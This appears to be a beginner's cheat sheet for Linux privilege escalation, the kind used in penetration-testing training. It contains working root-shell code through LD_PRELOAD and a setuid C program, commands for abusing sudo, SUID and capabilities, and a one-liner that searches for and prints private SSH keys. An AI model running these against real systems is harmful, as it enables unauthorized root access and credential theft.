Privilege-Escalation-For-Linux

Bypass security restrictions in misconfigured systems.

Privilege-Escalation-For-Linux

To bypass security restrictions in misconfigured systems for beginners.


Automated Eumeration Tools


⭐GTFOBins - https://gtfobins.github.io/


Kernel Exploits


CVE-2021-4034


Exploitiing all the Binaries which have SUID and SGID bits set

-To list all the binaries which have SUID and SGID buts set

find / -type f -perm -04000 -ls 2>/dev/null

Using LD_Preload

 sudo -l
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfile
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

This is also explained in this blog - https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/


Exploting Sudo Rights

sudo -l

echo "/bin/bash -i" >> exec.sh
sudo ./exec.sh

Check the following articles 👇


Through Capabilities

getcap -r / 2>/dev/null

Cron job configurations

/etc/crontab

crontab


Using $PATH

writable

Becoming Root Via a Misconfigured PATH


Network File Share

int main()
{setgid(0);
 setuid(0);
 system("/bin/bash");
 return 0;
}

SSH misconfigured Keys

ls -la /home /root /etc/ssh /home/*/.ssh/; locate id_rsa; locate id_dsa; find / -name id_rsa 2> /dev/null; find / -name id_dsa 2> /dev/null; find / -name authorized_keys 2> /dev/null; cat /home/*/.ssh/id_rsa; cat /home/*/.ssh/id_dsa

Thanks for reading.